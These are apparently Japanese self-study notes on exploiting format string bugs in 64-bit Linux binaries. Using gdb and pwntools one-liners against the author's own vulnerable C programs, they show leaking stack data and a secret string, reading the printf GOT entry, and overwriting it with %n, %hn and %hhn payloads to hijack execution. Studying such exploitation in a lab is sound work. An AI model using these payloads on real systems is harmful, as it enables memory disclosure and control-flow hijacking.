フォーマット文字列攻撃勉強-2
64ビットターゲットのFSBを勉強する。
フォーマット文字列攻撃でスタックが読み出せていることを確認
ターゲットプログラム:
#include <stdio.h> int main() { char *buf; char *secret = "SECRET_KEY"; setbuf(stdout, NULL); scanf("%ms", &buf); printf(buf); }
printf
にブレイクポイントを打って走らせる:
┌──(shoebill㉿shoebill)-[~/pwn] └─$ gdb -q ./fsb_leak gdb-peda$ b *main+78 gdb-peda$ r %p.%p.%p.%p.%p.%p.%p.%p.%p ... [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0x0 RDX: 0x0 RSI: 0x1 RDI: 0x5555555596b0 ("%p.%p.%p.%p.%p.%p.%p.%p.%p") RBP: 0x7fffffffdd50 --> 0x1 RSP: 0x7fffffffdd40 --> 0x5555555596b0 ("%p.%p.%p.%p.%p.%p.%p.%p.%p") RIP: 0x5555555551a7 (<main+78>: call 0x555555555040 <printf@plt>) R8 : 0x7 R9 : 0x5555555596e0 --> 0x555555559 R10: 0xf684fdea3f59da7e R11: 0x7ffff7c97950 (<__GI___libc_realloc>: push r15) R12: 0x7fffffffde68 --> 0x7fffffffe1fd ("/home/shoebill/pwn/fsb_leak") R13: 0x555555555159 (<main>: push rbp) R14: 0x555555557dd8 --> 0x555555555110 (<__do_global_dtors_aux>: endbr64) R15: 0x7ffff7ffd020 --> 0x7ffff7ffe240 --> 0x555555554000 --> 0x10102464c457f ... [------------------------------------stack-------------------------------------] 0000| 0x7fffffffdd40 --> 0x5555555596b0 ("%p.%p.%p.%p.%p.%p.%p.%p.%p") 0008| 0x7fffffffdd48 --> 0x555555556004 ("SECRET_KEY") 0016| 0x7fffffffdd50 --> 0x1 0024| 0x7fffffffdd58 --> 0x7ffff7c2920a (<__libc_start_call_main+122>: mov edi,eax) 0032| 0x7fffffffdd60 --> 0x0 0040| 0x7fffffffdd68 --> 0x555555555159 (<main>: push rbp) 0048| 0x7fffffffdd70 --> 0x100000000 0056| 0x7fffffffdd78 --> 0x7fffffffde68 --> 0x7fffffffe1fd ("/home/shoebill/pwn/fsb_leak") [------------------------------------------------------------------------------] gdb-peda$ c Continuing. 0x1.(nil).(nil).0x7.0x5555555596e0.0x5555555596b0.0x555555556004.0x1.0x7ffff7c2920a[Inferior 1 (process 31720) exited normally]
第7引数からスタックに積まれてる(r9は第6引数である)。
SECRET_KEYは7番目のフォーマット指定子に対応してるので、指定子をp
の代わりにs
にすれば次のように読み出せる:
┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./fsb_leak %7$s SECRET_KEY
アドレスを読み出す
#include <stdio.h> #include <unistd.h> #include <stdlib.h> int main() { char buf[0x50] = {}; unsigned long lv = 0xdeadbeef; setbuf(stdout, NULL); read(STDIN_FILENO, buf, sizeof(buf)); printf(buf); printf("\nBye!"); }
前後の順番を変えるということ
┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./fsb_aarw AAAAAAAA%p %p %p %p %p %p %p %p %p %p AAAAAAAA0x7ffeb1831930 0x50 0x7f4348cf9a7e 0x7f4348df3ef0 0x7f4348f58aa0 (nil) 0xdeadbeef 0x4141414141414141 0x7025207025207025 0x2520702520702520 Bye! ┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./fsb_aarw AAAAAAAA%8$p AAAAAAAA0x4141414141414141 Bye!
8番目が対応してると判明。
次のように、前後の順番を変えてもよい(それにより%8$p
を%9$p
に変更)
┌──(shoebill㉿shoebill)-[~/pwn] └─$ echo -e '\xef\xbe\xad\xde\xbe\xba\xfe\xca%8$p' | ./fsb_aarw ᆳ���0xcafebabedeadbeef Bye! ┌──(shoebill㉿shoebill)-[~/pwn] └─$ echo -e '%9$p\x00\x00\x00\x00\xef\xbe\xad\xde\xbe\xba\xfe\xca' | ./fsb_aarw 0xcafebabedeadbeef Bye!
printf
のGOTエントリ(0x404028)からprintf
のアドレスを読み出す
アドレスは8バイトなので、0x4040280000000000と4バイト目以降がヌル文字である。
フォーマット指定子より前にヌル文字が存在すると、文字列を扱う関数はそれ以降の処理をしてくれない。
なので、\x00\x00\x00\x00\x00\x28\x40\x40%8$p
と書くと攻撃が成功しない。
そこで、次のように順番を変えて書く:
%9$p\x00\x00\x00\x00\x40\x40\x28\x00\x00\x00\x00\x00
~> b'%9$p'.ljust(8, b'\x00') + p64(0x404028)
(0x404028のバイト列は\x00\x00\x00\x00\x00\x28\x40\x40
じゃないがわかりやすさのため)
┌──(shoebill㉿shoebill)-[~/pwn]a └─$ python3 -c 'import sys; from pwn import p64; sys.stdout.buffer.write(b"%9$p".ljust(8, b"\x00") + p64(0x404028))' | ./fsb_aarw 0x404028 Bye!
このように狙った通りアクセスできたので、p
というフォーマット指定子をs
にしてその中身を読み出す。
出力はバイナリなのでxxd
コマンドにパイプして読む:
┌──(shoebill㉿shoebill)-[~/pwn] └─$ python3 -c 'import sys; from pwn import p64; sys.stdout.buffer.write(b"%9$s".ljust(8, b"\x00") + p64(0x404028))' | ./fsb_aarw | xxd 00000000: 8083 e5a3 8c7f 0a42 7965 21 .......Bye!
これより、printf
の実体アドレスは0x7f8ca3e58380とわかる。
アドレスを書き換える
printf
のGOTエントリにある値、すなわちprintf
の実体のアドレスを書き換える。
┌──(shoebill㉿shoebill)-[~/pwn] └─$ gdb -q -n ./fsb_aarw (gdb) r < <(python3 -c 'import sys; from pwn import p64; sys.stdout.buffer.write(b"%9$n".ljust(8, b"\x00") + p64(0x404028))') ... Program received signal SIGSEGV, Segmentation fault. 0x00007fff00000000 in ?? ()
ためしに0x00007fff00000102に書き換えてみる。0x0102=258だから...
(gdb) r < <(python3 -c 'import sys; from pwn import p64; sys.stdout.buffer.write(b"%258c%10$n".ljust(0x10, b"\x00") + p64(0x404028))') ... Program received signal SIGSEGV, Segmentation fault. 0x00007fff00000102 in ?? ()
注)
・書式文字列の文字数が8バイトを越えてしまうため、10番目の要素を指定する(%258c%10$n
)
・さっきまでは%10$n
を8バイトにそろえていたが、今回は%258c%10$n
を16バイトにそろえる(ljust(0x10, b"\x00")
)
下位4バイトを0x12345678にする
calc
は次のエイリアス:
┌──(shoebill㉿shoebill)-[~/pwn] └─$ alias calc calc='gdb -batch -ex'
%hnで2バイトずつ
┌──(shoebill㉿shoebill)-[~/pwn] └─$ calc 'p/d 0x1234' $1 = 4660 ┌──(shoebill㉿shoebill)-[~/pwn] └─$ calc 'p/d 0x5678 - 0x1234' $1 = 17476
これより
(gdb) r < <(python3 -c 'import sys; from pwn import p64; sys.stdout.buffer.write(b"%4660c%12$hn" + b"%17476c%13$hn" + b"a" * 7 + p64(0x40402a) + p64(0x404028))') ... Program received signal SIGSEGV, Segmentation fault. 0x00007fff12345678 in ?? ()
b"a" * 7
はlen(b"%4660c%12$hn" + b"%17476c%13$hn") = 25
だから。8の倍数にするために+7。
。。。16文字で10番目、24文字で11番目、次が12・13番目?
次のように書いてもOK:
┌──(shoebill㉿shoebill)-[~/pwn] └─$ calc 'p/d 0x5678' $1 = 22136 ┌──(shoebill㉿shoebill)-[~/pwn] └─$ calc 'p/d 0x11234 - 0x5678' $1 = 48060 (gdb) r < <(python3 -c 'import sys; from pwn import p64; sys.stdout.buffer.write(b"%22136c%12$hn" + b"%48060c%13$hn" + b"a" * 6 + p64(0x404028) + p64(0x40402a))') ... Program received signal SIGSEGV, Segmentation fault. 0x00007fff12345678 in ?? ()
b"a" * 6
はlen(b"%22136c%12$hn" + b"%48060c%13$hn") = 26
だから。
%hhnで1バイトずつ
┌──(shoebill㉿shoebill)-[~/pwn] └─$ calc 'p/d 0x12' $1 = 18 ┌──(shoebill㉿shoebill)-[~/pwn] └─$ calc 'p/d 0x34 - 0x12' $1 = 34 ┌──(shoebill㉿shoebill)-[~/pwn] └─$ calc 'p/d 0x56 - 0x34' $1 = 34 ┌──(shoebill㉿shoebill)-[~/pwn] └─$ calc 'p/d 0x78 - 0x56' $1 = 34
より
(gdb) r < <(python3 -c 'import sys; from pwn import p64; sys.stdout.buffer.write(b"%18c%14$hhn" + b"%34c%15$hhn" + b"%34c%16$hhn" + b"%34c%17$hhn" + b"a" * 4 + p64(0x40402b) + p64(0x40402a) + p64(0x404029) + p64(0x404028))') ... Program received signal SIGSEGV, Segmentation fault. 0x00007fff12345678 in ?? ()
または
(gdb) r < <(python3 -c 'import sys; from pwn import p64; sys.stdout.buffer.write(b"%18c%17$hhn" + b"%34c%16$hhn" + b"%34c%15$hhn" + b"%34c%14$hhn" + b"a" * 4 + p64(0x404028) + p64(0x404029) + p64(0x40402a) + p64(0x40402b))') ... Program received signal SIGSEGV, Segmentation fault. 0x00007fff12345678 in ?? ()